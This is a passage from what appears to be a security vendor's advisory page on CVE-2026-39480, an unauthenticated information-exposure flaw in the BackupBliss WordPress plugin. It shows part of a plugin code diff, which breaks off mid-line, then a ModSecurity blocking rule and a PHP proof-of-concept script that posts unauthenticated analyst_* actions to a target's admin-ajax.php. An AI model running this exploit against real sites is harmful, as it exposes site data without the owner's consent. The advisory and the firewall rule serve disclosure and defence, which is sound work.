           $better_database_files_dir = $database_file_dir . 'db_tables';
           $better_database_files_dir = str_replace('file:', 'file://', $better_database_files_dir);

           if (!is_dir($better_database_files_dir)) @mkdir($better_database_files_dir, 0755, true);
-          $db_exporter = new BetterDatabaseExport($better_database_files_dir, $this->output, $this->dbit, intval($this->backupstart));
+          $dbEngine = 3;
+          if (Dashboardbmi_get_config('OTHER::NEW_DATABASE_EXPORT_ENGINE')) {
+            require_once BMI_INCLUDES . DIRECTORY_SEPARATOR . 'database' . DIRECTORY_SEPARATOR . 'export' . DIRECTORY_SEPARATOR . 'class-database-export-processor.php';
+            $dbEngine = 4;
+            $db_exporter = new DatabaseExportProcessor($better_database_files_dir, $this->output, intval($this->backupstart));
+          } else {
+            // Require Database Manager
+            require_once BMI_INCLUDES . DIRECTORY_SEPARATOR . 'database' . DIRECTORY_SEPARATOR . 'better-backup-v3.php';
+            $db_exporter = new BetterDatabaseExport($better_database_files_dir, $this->output, $this->dbit, intval($this->backupstart));
+          }

           $dbBatchingEnabled = false;
           if (Dashboardbmi_get_config('OTHER:BACKUP:DB:BATCHING') == 'true') {
@@ -1294,7 +1302,11 @@

           if (BMI_CLI_REQUEST === true || $dbBatchingEnabled === false) {

-            $results = $db_exporter->export();
+            if ($dbEngine === 4) {
+              $results = $db_exporter->exportAll();
+            } else {
+              $results = $db_exporter->export();
+            }

             $this->output->log("Database backup finished", 'SUCCESS');
             $this->dbitJustFinished = true;
@@ -1303,7 +1315,16 @@

           } else {

-            $results = $db_exporter->export($this->dbit, $this->dblast);
+            if ($dbEngine === 4) {
+              $results = $db_exporter->exportBatch();
+              // Backward compatibility for v3 engine
+              $this->dbit += 1;
+              $results['batchingStep'] = $this->dbit;
+              $results['finishedQuery'] = $this->dblast;
+              $results['dumpCompleted'] = $results['status'] === DatabaseExportProcessor::STATUS_COMPLETED;
+            } else {
+              $results = $db_exporter->export($this->dbit, $this->dblast);
+            }

             $this->dbit = intval($results['batchingStep']);
             $this->dblast = intval($results['finishedQuery']);
--- a/backup-backup/includes/config.php
+++ b/backup-backup/includes/config.php
@@ -185,12 +185,19 @@
         if ($key !== false) unset($current_patch[$key]);
         update_option('bmi_hotfixes', $current_patch);
       }
+
+      $bmiLogFilesSuffix = bmi_get_config('STORAGE::LOCAL::LOGS::SUFFIX', $newConfigStaticPath);
+      if ($bmiLogFilesSuffix == false) {
+        $bmiLogFilesSuffix = bmi_config_random_string(10);
+        bmi_set_config('STORAGE::LOCAL::LOGS::SUFFIX', $bmiLogFilesSuffix);
+      }

       if (!defined('BMI_BACKUPS_ROOT')) define('BMI_BACKUPS_ROOT', $localStoragePath);
       if (!defined('BMI_CONFIG_DIR')) define('BMI_CONFIG_DIR', $localStoragePath);
       if (!defined('BMI_BACKUPS')) define('BMI_BACKUPS', $localStoragePath . DIRECTORY_SEPARATOR . 'backups');
       if (!defined('BMI_STAGING')) define('BMI_STAGING', $localStoragePath . DIRECTORY_SEPARATOR . 'staging');
       if (!defined('BMI_TMP')) define('BMI_TMP', BMI_BACKUPS_ROOT . DIRECTORY_SEPARATOR . 'tmp');
+      if (!defined('BMI_LOGS_SUFFIX')) define('BMI_LOGS_SUFFIX', $bmiLogFilesSuffix);

       $bmi_initial_config_dirpath = $localStoragePath;
       $bmi_initial_config_filepath = $newConfigStaticPath;
--- a/backup-backup/includes/dashboard/chapter/other_config.php
+++ b/backup-backup/includes/dashboard/chapter/other_config.php
@@ -550,6 +550,18 @@
           </span>
         </label>
       </div>
+      <div class="lh40">
+        <label for="bmi-use-new-database-export-engine">
+          <input type="checkbox" id="bmi-use-new-database-export-engine"<?php bmi_try_checked('OTHER::NEW_DATABASE_EXPORT_ENGINE'); ?> />
+          <span class="relative">
+        <?php esc_html_e("Enable the optimized Database Export engine to reduce memory usage and speed up table dumping.", 'backup-backup'); ?>
+        <span class="bmi-info-icon tooltip" tooltip="<?php echo esc_attr__(
+          "The optimized export engine streams table data in memory-efficient chunks rather than loading entire tables at once. Unlike the Search & Replace engine which focuses on data transformation, this engine is specifically designed to minimize peak memory consumption and accelerate the raw data dumping process during backup.",
+          'backup-backup'
+        ); ?>"></span>
+          </span>
+        </label>
+      </div>

       <div class="lh40">
         <label for="bmi-db-single-file-backup">
--- a/backup-backup/includes/dashboard/chapter/where_config.php
+++ b/backup-backup/includes/dashboard/chapter/where_config.php
@@ -131,6 +131,29 @@
         </div>
       </div>
       <?php } ?>
+      <?php
+        if (has_action('bmi_pro_pcloud_template')) {
+          do_action('bmi_pro_pcloud_template');
+        } else {
+      ?>
+      <div class="tab2-item">
+        <div class="already_ready"></div>
+        <div class="bg_clock_day2">
+          <img src="<?php echo $this->get_asset('images', 'premium.svg') ?>" alt="crown" class="crown_img" height="30px" width="30px">
+          <?php echo BMI_ALREADY_IN_PRO; ?>
+        </div>
+        <div class="d-flex ia-center">
+          <img src="<?php echo $this->get_asset('images', 'pcloud.svg') ?>" alt="logo" class="tab2-img"> <span class="ml25 title_whereStored">pCloud</span>
+          <img src="<?php echo $this->get_asset('images', 'premium.svg') ?>" alt="logo" class="crown2">
+        </div>
+        <div class="ia-center">
+          <div class="b2 bmi-switch"><input type="checkbox" disabled="disabled" class="checkbox">
+            <div class="bmi-knobs"><span></span></div>
+            <div class="bmi-layer_str"></div>
+          </div>
+        </div>
+      </div>
+      <?php } ?>

       <?php
       if (has_action('bmi_pro_sftp_template')) {
--- a/backup-backup/includes/dashboard/templates/backup-row-template.php
+++ b/backup-backup/includes/dashboard/templates/backup-row-template.php
@@ -14,6 +14,7 @@
 $clouds["ONEDRIVE"] = [ "name" => "OneDrive", "icon" => "one-drive-mono.svg" ];
 $clouds["DROPBOX"] = [ "name" => "Dropbox", "icon" => "dropbox-mono.svg" ];
 $clouds["FTP"] = [ "name" => "FTP", "icon" => "ftp-mono.svg" ];
+$clouds["PCLOUD"] = [ "name" => "pCloud", "icon" => "pcloud-mono.svg" ];
 $clouds["AWS"] = [ "name" => "Amazon S3", "icon" => "amazon-s3-mono.svg" ];
 $clouds["WASABI"] = [ "name" => "Wasabi", "icon" => "wasabi-s3-mono.svg" ];
 $clouds["SFTP"] = [ "name" => "SFTP", "icon" => "sftp-mono.svg" ];
--- a/backup-backup/includes/database/export/class-database-export-engine.php
+++ b/backup-backup/includes/database/export/class-database-export-engine.php
@@ -0,0 +1,554 @@
+<?php
+
+namespace BMIPluginDatabaseExport;
+
+require_once __DIR__ . '/interface-database-export-repository.php';
+require_once __DIR__ . '/class-database-export-repository.php';
+require_once BMI_INCLUDES . '/progress/class-file-progress-storage.php';
+
+use BMIPluginBackup_Migration_Plugin as BMP;
+use BMIPluginProgressProgressStorageInterface;
+use BMIPluginProgressFileProgressStorage;
+/**
+ * Class DatabaseExportEngine
+ *
+ * Handles the export of a single database table to a SQL file.
+ * Supports resumable batch processing with key-based or offset-based pagination.
+ *
+ */
+class DatabaseExportEngine
+{
+    const STATUS_IN_PROGRESS = 'in_progress';
+    const STATUS_COMPLETED = 'completed';
+    const PAGINATION_KEY_BASED = 'key_based';
+    const PAGINATION_OFFSET_BASED = 'offset_based';
+
+    /**
+     * Default number of rows to fetch per batch.
+     */
+    const DEFAULT_PAGE_SIZE = 5000;
+
+    /**
+     * Default max bytes per SQL file chunk before flushing.
+     */
+    const DEFAULT_MAX_QUERY_SIZE = 1048576; // 1 MB
+
+    /**
+     * @var string The table name to export.
+     */
+    private $table;
+
+    /**
+     * @var DatabaseExportRepositoryInterface The database repository.
+     */
+    private $repository;
+
+    /**
+     * @var ProgressStorageInterface The state storage handler.
+     */
+    private $stateStorage;
+
+    /**
+     * @var int The number of rows to fetch per batch.
+     */
+    private $pageSize;
+
+    /**
+     * @var int The max query/insert size in bytes before writing to disk.
+     */
+    private $maxQuerySize;
+
+    /**
+     * @var string The storage directory for SQL output files.
+     */
+    private $outputDir;
+
+    /**
+     * @var string The time-based prefix for temporary table names.
+     */
+    private $tablePrefix;
+
+    /**
+     * Constructor.
+     *
+     * @param string $table The table name to export.
+     * @param string $outputDir The directory to write SQL files to.
+     * @param string $tablePrefix The time-based prefix for temp table names.
+     * @param DatabaseExportRepositoryInterface|null $repository Optional repository instance.
+     * @param ProgressStorageInterface|null $stateStorage Optional state storage instance.
+     * @param int|null $pageSize Optional rows per batch.
+     * @param int|null $maxQuerySize Optional max query size in bytes.
+     */
+    public function __construct(
+        $table,
+        $outputDir,
+        $tablePrefix,
+        $repository = null,
+        $stateStorage = null,
+        $pageSize = null,
+        $maxQuerySize = null
+    ) {
+        $this->table = $table;
+        $this->outputDir = rtrim($outputDir, DIRECTORY_SEPARATOR);
+        $this->tablePrefix = $tablePrefix;
+        $this->repository = $repository !== null ? $repository : new DatabaseExportRepository();
+        $this->stateStorage = $stateStorage !== null ? $stateStorage : new FileProgressStorage(
+            null,
+            'db-export-' . preg_replace('/[^A-Za-z0-9_-]/', '', $table) . '.json'
+        );
+        $this->pageSize = $pageSize !== null ? $pageSize : (defined('BMI_DB_MAX_ROWS_PER_QUERY') ? BMI_DB_MAX_ROWS_PER_QUERY : self::DEFAULT_PAGE_SIZE);
+        $this->maxQuerySize = $maxQuerySize !== null ? $maxQuerySize : self::DEFAULT_MAX_QUERY_SIZE;
+    }
+
+    /**
+     * Returns the default structure for the export state.
+     *
+     * @param array $tableInfo Column info from the repository.
+     * @param int $rowCount Total row count.
+     * @return array The default state array.
+     */
+    private function getDefaultState($tableInfo, $rowCount)
+    {
+        return [
+            'status' => self::STATUS_IN_PROGRESS,
+            'table' => $this->table,
+            'time' => [
+                'start' => microtime(true),
+                'end' => 0
+            ],
+            'columns' => $tableInfo['columns'],
+            'primary_key' => $tableInfo['primary_key'],
+            'auto_increment_primary_key' => $tableInfo['auto_increment_primary_key'],
+            'pagination_type' => $tableInfo['auto_increment_primary_key'] !== false
+                ? self::PAGINATION_KEY_BASED
+                : self::PAGINATION_OFFSET_BASED,
+            'key_based' => [
+                'last_processed_key' => 0,
+            ],
+            'offset_based' => [
+                'offset' => 0,
+            ],
+            'rows_count' => $rowCount,
+            'rows_exported' => 0,
+            'total_batches' => (int) ceil($rowCount / $this->pageSize),
+            'current_batch' => 0,
+            'page_size' => $this->pageSize,
+            'recipe_written' => false,
+            'output_file' => $this->buildOutputFilePath(),
+        ];
+    }
+
+    /**
+     * Retrieves the latest state or initializes a new one.
+     *
+     * @return array The state array.
+     */
+    private function getOrInitState()
+    {
+        $stored = $this->stateStorage->load();
+        if ($stored !== null) {
+            return $stored;
+        }
+
+        $tableInfo = $this->repository->getTableColumnsInfo($this->table);
+        $rowCount = $this->getFilteredRowCount();
+
+        return $this->getDefaultState($tableInfo, $rowCount);
+    }
+
+    /**
+     * Gets the row count, applying exclusion filters if active.
+     *
+     * Delegates to the 'bmip_smart_exclusion_post_revisions_condition' filter hook
+     * to allow the pro plugin or other extensions to add WHERE conditions.
+     *
+     * @return int The row count.
+     */
+    private function getFilteredRowCount()
+    {
+        $conditions = $this->getExclusionConditions();
+
+        if (!empty($conditions)) {
+            return $this->repository->getRowCount($this->table, implode(' AND ', $conditions));
+        }
+
+        return $this->repository->getRowCount($this->table);
+    }
+
+    /**
+     * Gets exclusion conditions from WordPress filters.
+     *
+     * Delegates to the 'bmip_smart_exclusion_post_revisions_condition' filter hook,
+     * allowing the pro plugin or other extensions to add WHERE conditions
+     * for specific tables (e.g., excluding post revisions).
+     *
+     * @return array The WHERE conditions array.
+     */
+    private function getExclusionConditions()
+    {
+        $conditions = apply_filters('bmip_smart_exclusion_post_revisions_condition', [], $this->table);
+
+        return is_array($conditions) ? $conditions : [];
+    }
+
+    /**
+     * Exports one batch of the table.
+     *
+     * Call this method repeatedly until the returned status is 'completed'.
+     * Each call processes one page of rows and streams them directly to the output file.
+     *
+     * @return array{status: string, table: string, batch: int, total_batches: int, rows_exported: int, rows_count: int, output_file: string}
+     */
+    public function exportBatch()
+    {
+        $state = $this->getOrInitState();
+
+        // Write CREATE TABLE recipe on first batch
+        if (!$state['recipe_written']) {
+            $this->writeRecipe($state);
+            $state['recipe_written'] = true;
+        }
+
+        // Empty table — mark completed immediately
+        if ($state['rows_count'] === 0) {
+            return $this->completeExport($state);
+        }
+
+        // Fetch and stream one batch
+        $sql = $this->buildFetchQuery($state);
+        $this->repository->execute('SET foreign_key_checks = 0');
+
+        try {
+            $batchResult = $this->streamBatchToFile($sql, $state);
+        } finally {
+            $this->repository->execute('SET foreign_key_checks = 1');
+        }
+
+        // Update state from batch result
+        $state['rows_exported'] += $batchResult['rows_written'];
+        $state['current_batch']++;
+
+        // Update pagination cursor
+        if ($state['pagination_type'] === self::PAGINATION_KEY_BASED && $batchResult['last_key'] !== null) {
+            $state['key_based']['last_processed_key'] = $batchResult['last_key'];
+        } elseif ($state['pagination_type'] === self::PAGINATION_OFFSET_BASED) {
+            $state['offset_based']['offset'] += $batchResult['rows_written'];
+        }
+
+        // Check if export is complete
+        if ($batchResult['rows_written'] < $this->pageSize || $state['rows_exported'] >= $state['rows_count']) {
+            return $this->completeExport($state);
+        }
+
+        // Save progress and return in-progress
+        $this->stateStorage->save($state);
+        return $this->buildResult(self::STATUS_IN_PROGRESS, $state);
+    }
+
+    /**
+     * Writes the CREATE TABLE recipe to the output file.
+     *
+     * @param array $state The current state.
+     */
+    private function writeRecipe(&$state)
+    {
+        $createSql = $this->repository->getCreateTableStatement($this->table);
+        if ($createSql === null) {
+            return;
+        }
+
+        $prefixedTable = $this->tablePrefix . '_' . $this->table;
+        $escapedOriginal = $this->repository->escapeIdentifier($this->table);
+        $escapedPrefixed = $this->repository->escapeIdentifier($prefixedTable);
+
+        // Replace table name in CREATE statement
+        $createSql = str_replace($escapedOriginal, $escapedPrefixed, $createSql);
+
+        // Build recipe header
+        $recipe = "/* CUSTOM VARS START */n";
+        $recipe .= "/* REAL_TABLE_NAME: " . $escapedOriginal . "; */n";
+        $recipe .= "/* PRE_TABLE_NAME: " . $escapedPrefixed . "; */n";
+        $recipe .= "/* CUSTOM VARS END */nn";
+
+        // Make it IF NOT EXISTS and clean up formatting
+        $createStatement = 'CREATE TABLE IF NOT EXISTS ' . substr($createSql, 13);
+        $createStatement = str_replace("n ", '', $createStatement);
+        $createStatement = str_replace("n", '', $createStatement);
+
+        $recipe .= $createStatement . ";n";
+
+        $file = fopen($state['output_file'], 'w');
+        if ($file === false) {
+            throw new RuntimeException(
+                sprintf('Failed to open output file for recipe: %s', $state['output_file'])
+            );
+        }
+        fwrite($file, $recipe);
+        fclose($file);
+    }
+
+    /**
+     * Builds the SQL query for fetching a batch of rows.
+     *
+     * @param array $state The current state.
+     * @return string The SQL query.
+     */
+    private function buildFetchQuery($state)
+    {
+        $table = $this->repository->escapeIdentifier($this->table);
+        $sql = 'SELECT * FROM ' . $table;
+
+        $conditions = [];
+
+        // Pagination WHERE clause
+        if ($state['pagination_type'] === self::PAGINATION_KEY_BASED) {
+            $lastKey = (int) $state['key_based']['last_processed_key'];
+            $pk = $state['auto_increment_primary_key'];
+            $conditions[] = sprintf('`%s` > %d', str_replace('`', '``', $pk), $lastKey);
+        }
+
+        // Exclusion conditions (e.g., post revisions via filters)
+        $conditions = array_merge($conditions, $this->getExclusionConditions());
+
+        if (!empty($conditions)) {
+            $sql .= ' WHERE ' . implode(' AND ', $conditions);
+        }
+
+        // ORDER BY for key-based pagination
+        if ($state['pagination_type'] === self::PAGINATION_KEY_BASED) {
+            $pk = $state['auto_increment_primary_key'];
+            $sql .= sprintf(' ORDER BY `%s` ASC', str_replace('`', '``', $pk));
+        }
+
+        // LIMIT clause
+        if ($state['pagination_type'] === self::PAGINATION_KEY_BASED) {
+            $sql .= sprintf(' LIMIT %d', $this->pageSize);
+        } else {
+            $offset = (int) $state['offset_based']['offset'];
+            $sql .= sprintf(' LIMIT %d, %d', $offset, $this->pageSize);
+        }
+
+        return $sql;
+    }
+
+    /**
+     * Streams query results directly into the SQL output file.
+     *
+     * Instead of buffering all rows in memory (array_merge), this method
+     * writes INSERT statements to disk as rows are fetched from the DB.
+     * Uses strlen(serialize()) for accurate size tracking.
+     *
+     * @param string $sql The SELECT query.
+     * @param array $state The current state.
+     * @return array{rows_written: int, last_key: mixed, bytes_written: int}
+     */
+    private function streamBatchToFile($sql, &$state)
+    {
+        $file = fopen($state['output_file'], 'a+');
+        if ($file === false) {
+            throw new RuntimeException(
+                sprintf('Failed to open output file for writing: %s', $state['output_file'])
+            );
+        }
+
+        $columns = $state['columns'];
+        $prefixedTable = $this->tablePrefix . '_' . $this->table;
+        $insertPrefix = 'INSERT INTO ' . $this->repository->escapeIdentifier($prefixedTable) . ' ';
+
+        $rowsWritten = 0;
+        $bytesWritten = 0;
+        $lastKey = null;
+        $currentInsertSize = 0;
+        $insertOpen = false;
+        $columnHeaderWritten = false;
+        $columnHeader = '';
+        $pkIndex = $this->findPrimaryKeyIndex($state);
+
+        // Build column header once
+        $columnNames = [];
+        foreach ($columns as $col) {
+            $columnNames[] = $this->repository->escapeIdentifier($col['name']);
+        }
+        $columnHeader = '(' . implode(', ', $columnNames) . ')';
+
+        // Stream rows directly from DB to file via generator
+        $rows = $this->repository->fetchRows($sql, true);
+
+        // Warning: when useUnbuffered is true, the returned $rows is a generator that yields one row at a time.
+        // mysqli will not allow any other queries to run until the generator is fully consumed or destroyed.
+        // This means we cannot run any additional queries until this loop finishes.
+        // This is fine for our use case since we are only streaming data to file.
+        foreach ($rows as $row) {
+            $rowsWritten++;
+
+            // Track the last primary key value for key-based pagination
+            if ($pkIndex !== null && isset($row[$pkIndex])) {
+                $lastKey = $row[$pkIndex];
+            }
+
+            // Build the values tuple for this row
+            $values = $this->buildValuesTuple($row, $columns);
+            $rowSize = strlen(serialize($values));
+
+            // Decide whether to start a new INSERT or append to current one
+            if (!$insertOpen) {
+                // Start new INSERT statement
+                $stmt = $insertPrefix . $columnHeader . " VALUES (" . $values . ")";
+                $insertOpen = true;
+                $currentInsertSize = strlen($stmt);
+            } elseif (($currentInsertSize + $rowSize + 3) > $this->maxQuerySize) {
+                // Current INSERT too large, close it and start new one
+                $written = fwrite($file, ";n");
+                $bytesWritten += $written;
+
+                $stmt = $insertPrefix . $columnHeader . " VALUES (" . $values . ")";
+                $currentInsertSize = strlen($stmt);
+            } else {
+                // Append to current INSERT
+                $stmt = ",(" . $values . ")";
+                $currentInsertSize += strlen($stmt);
+            }
+
+            $written = fwrite($file, $stmt);
+            $bytesWritten += $written;
+        }
+
+        // Close the final INSERT statement
+        if ($insertOpen) {
+            $written = fwrite($file, ";n");
+            $bytesWritten += $written;
+        }
+
+        fclose($file);
+
+        return [
+            'rows_written' => $rowsWritten,
+            'last_key' => $lastKey,
+            'bytes_written' => $bytesWritten,
+        ];
+    }
+
+    /**
+     * Builds the SQL values tuple string for a single row.
+     *
+     * Uses esc_sql/real_escape_string for string values.
+     * Handles NULL, numeric, and string types based on column metadata.
+     *
+     * @param array $row Numerically-indexed row data.
+     * @param array $columns Column metadata from getTableColumnsInfo().
+     * @return string The comma-separated values string (without outer parentheses).
+     */
+    private function buildValuesTuple($row, $columns)
+    {
+        $parts = [];
+        $columnCount = count($columns);
+
+        for ($i = 0; $i < $columnCount; $i++) {
+            $value = isset($row[$i]) ? $row[$i] : null;
+
+            if ($value === null) {
+                $parts[] = 'NULL';
+            } elseif ($columns[$i]['is_numeric'] && is_numeric($value)) {
+                if (strpos($value, '.') !== false || stripos($value, 'e') !== false) {
+                    // Float value
+                    $floatVal = floatval($value);
+                    $parts[] = is_infinite($floatVal) ? (string) PHP_FLOAT_MAX : (string) $floatVal;
+                } else {
+                    // Integer value
+                    $intVal = intval($value);
+                    $parts[] = (string) $intVal;
+                }
+            } else {
+                // String value — escape and quote
+                $parts[] = "'" . $this->repository->escape($value) . "'";
+            }
+        }
+
+        return implode(',', $parts);
+    }
+
+    /**
+     * Finds the index of the primary key column in the columns array.
+     *
+     * @param array $state The current state.
+     * @return int|null The index, or null if no auto-increment PK.
+     */
+    private function findPrimaryKeyIndex($state)
+    {
+        if ($state['auto_increment_primary_key'] === false) {
+            return null;
+        }
+
+        foreach ($state['columns'] as $index => $col) {
+            if ($col['name'] === $state['auto_increment_primary_key']) {
+                return $index;
+            }
+        }
+
+        return null;
+    }
+
+    /**
+     * Marks the export as completed and clears state storage.
+     *
+     * @param array $state The current state.
+     * @return array The result array with completed status.
+     */
+    private function completeExport(&$state)
+    {
+        $state['status'] = self::STATUS_COMPLETED;
+        $state['time']['end'] = microtime(true);
+        $this->stateStorage->clear();
+
+        return $this->buildResult(self::STATUS_COMPLETED, $state);
+    }
+
+    /**
+     * Builds the result array returned from exportBatch().
+     *
+     * @param string $status The export status.
+     * @param array $state The current state.
+     * @return array The result array.
+     */
+    private function buildResult($status, $state)
+    {
+        return [
+            'status' => $status,
+            'table' => $state['table'],
+            'batch' => $state['current_batch'],
+            'total_batches' => $state['total_batches'],
+            'rows_exported' => $state['rows_exported'],
+            'rows_count' => $state['rows_count'],
+            'output_file' => $state['output_file'],
+        ];
+    }
+
+    /**
+     * Builds the output file path for the SQL dump.
+     *
+     * @return string The file path.
+     */
+    private function buildOutputFilePath()
+    {
+        $friendlyName = preg_replace('/[^A-Za-z0-9_-]/', '', $this->table);
+        return $this->outputDir . DIRECTORY_SEPARATOR . $friendlyName . '.sql';
+    }
+
+    /**
+     * Gets the output file path.
+     *
+     * @return string The output file path.
+     */
+    public function getOutputFilePath()
+    {
+        return $this->buildOutputFilePath();
+    }
+
+    /**
+     * Resets any stored state for this table (for clean re-export).
+     */
+    public function reset()
+    {
+        $this->stateStorage->clear();
+    }
+}
--- a/backup-backup/includes/database/export/class-database-export-processor.php
+++ b/backup-backup/includes/database/export/class-database-export-processor.php
@@ -0,0 +1,566 @@
+<?php
+
+namespace BMIPluginDatabaseExport;
+
+require_once __DIR__ . '/interface-database-export-repository.php';
+require_once __DIR__ . '/class-database-export-repository.php';
+require_once __DIR__ . '/class-database-export-engine.php';
+require_once BMI_INCLUDES . '/progress/class-file-progress-storage.php';
+
+use BMIPluginBMI_Logger as Logger;
+use BMIPluginDashboard as Dashboard;
+use BMIPluginStagingBMI_Staging as Staging;
+use BMIPluginProgressProgressStorageInterface;
+use BMIPluginProgressFileProgressStorage;
+
+/**
+ * Class DatabaseExportProcessor
+ *
+ * Orchestrates database export across all tables.
+ * Handles table discovery, exclusion rules, staging site filtering, progress tracking,
+ * and logging. Delegates per-table export to DatabaseExportEngine.
+ *
+ * Architecture:
+ *
+ *   DatabaseExportProcessor             (Orchestrator: tables loop, logging, progress)
+ *       └── DatabaseExportEngine        (Engine: single-table batching, pagination, streaming)
+ *               ├── DatabaseExportRepository    (Data: SQL queries, connections, escape)
+ *               └── FileProgressStorage      (State: file-based JSON persistence)
+ *
+ * Usage:
+ *   $processor = new DatabaseExportProcessor($outputDir, $logger);
+ *   do {
+ *       $result = $processor->exportBatch();
+ *   } while ($result['status'] !== 'completed');
+ *   $files = $result['files'];
+ *
+ * Or for non-batched (all at once):
+ *   $result = $processor->exportAll();
+ *   $files = $result['files'];
+ */
+class DatabaseExportProcessor
+{
+    const STATUS_IN_PROGRESS = 'in_progress';
+    const STATUS_COMPLETED = 'completed';
+
+    /**
+     * @var string The output directory for SQL files.
+     */
+    private $outputDir;
+
+    /**
+     * @var object The logger instance.
+     */
+    private $logger;
+
+    /**
+     * @var DatabaseExportRepositoryInterface The shared repository instance.
+     */
+    private $repository;
+
+    /**
+     * @var ProgressStorageInterface The master state storage.
+     */
+    private $stateStorage;
+
+    /**
+     * @var callable|null Optional factory for creating engine instances (for testing).
+     */
+    private $engineFactory;
+
+    /**
+     * @var string The time-based prefix for temporary table names.
+     */
+    private $tablePrefix;
+
+    /**
+     * @var bool Whether debug mode is enabled.
+     */
+    private $debugEnabled;
+
+    /**
+     * Constructor.
+     *
+     * @param string $outputDir Directory to write SQL files.
+     * @param object $logger Logger instance.
+     * @param string|int|null $tablePrefix Optional time prefix. Defaults to current timestamp.
+     * @param DatabaseExportRepositoryInterface|null $repository Optional repository.
+     * @param ProgressStorageInterface|null $stateStorage Optional master state storage.
+     * @param callable|null $engineFactory Optional factory: fn(string $table) => DatabaseExportEngine
+     * @param bool|null $debugEnabled Optional debug mode flag. Defaults to false.
+     */
+    public function __construct(
+        $outputDir,
+        $logger,
+        $tablePrefix = null,
+        $repository = null,
+        $stateStorage = null,
+        $engineFactory = null,
+        $debugEnabled = null
+    ) {
+        $this->outputDir = rtrim($outputDir, DIRECTORY_SEPARATOR);
+        $this->logger = $logger;
+        $this->repository = $repository !== null ? $repository : new DatabaseExportRepository();
+        $this->stateStorage = $stateStorage !== null ? $stateStorage : new FileProgressStorage(
+            null,
+            'db-export-master-state.json'
+        );
+        $this->engineFactory = $engineFactory;
+        $this->tablePrefix = $tablePrefix !== null ? (string) $tablePrefix : (string) time();
+        $this->debugEnabled = $debugEnabled !== null ? (bool) $debugEnabled : $this->isDebugMode();
+    }
+
+    /**
+     * Runs the entire export in one call (non-batched mode).
+     *
+     * Iterates all tables and exports them completely.
+     *
+     * @return array{status: string, files: array, total_tables: int, total_rows: int, total_queries: int, total_size_mb: float}
+     */
+    public function exportAll()
+    {
+        $this->logger->log('Starting full database export (non-batched mode)', 'STEP');
+        $startTime = microtime(true);
+
+        // Discover tables
+        $tables = $this->discoverTables();
+        $this->logger->log(
+            sprintf('Found %d tables to export', count($tables)),
+            'INFO'
+        );
+
+        $files = [];
+        $totalRows = 0;
+        $totalQueries = 0;
+        $totalSizeMb = 0;
+
+        foreach ($tables as $index => $tableData) {
+            $tableName = $tableData['name'];
+            $this->logger->log(
+                sprintf(
+                    'Exporting table: %s (%d/%d, %.2f MB)',
+                    $tableName,
+                    $index + 1,
+                    count($tables),
+                    $tableData['size

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20263948,phase:2,deny,status:403,chain,msg:'CVE-2026-39480: Unauthenticated information exposure in BackupBliss analyst SDK',severity:'CRITICAL',tag:'CVE-2026-39480',tag:'wordpress',tag:'plugin-backupbliss'"
  SecRule ARGS_POST:action "@rx ^analyst_(opt_in|opt_out|install|skip_install|plugin_deactivate)_d+$" "chain"
    SecRule &ARGS_POST:analyst_nonce "@eq 0" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-39480 - BackupBliss – Backup & Migration with Free Cloud Storage <= 2.1.1 - Unauthenticated Information Exposure

<?php

$target_url = 'http://target-site.com/wp-admin/admin-ajax.php';

// Step 1: Extract the analyst_nonce from the page source
// The nonce is localized in JavaScript as analyst_opt_localize.analyst_nonce
// This can be obtained by fetching any page where the BackupBliss plugin is active
// For demonstration, we assume the nonce has been obtained as 'abc123nonce'
$analyst_nonce = 'abc123nonce'; // Replace with actual extracted nonce

// Step 2: Choose a vulnerable analyst action
// Available actions: analyst_opt_in_{pluginId}, analyst_opt_out_{pluginId},
// analyst_install_{pluginId}, analyst_skip_install_{pluginId}, analyst_plugin_deactivate_{pluginId}
// The pluginId is typically an integer like 1020
$plugin_id = 1020;
$action = 'analyst_opt_in_' . $plugin_id;

// Step 3: Craft the unauthenticated POST request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => $action,
    'analyst_nonce' => $analyst_nonce
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);

// Step 4: Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 5: Analyze the response
// A successful request will return JSON with plugin data or success message
// The sync() method in AccountDataFactory will be triggered, exposing data
if ($http_code == 200) {
    echo "Request successful. Response:n";
    echo $response;
    $json = json_decode($response, true);
    if ($json && isset($json['success'])) {
        echo "nVulnerability confirmed: unauthenticated action executed.";
    }
} else {
    echo "Request failed with HTTP code: $http_coden";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School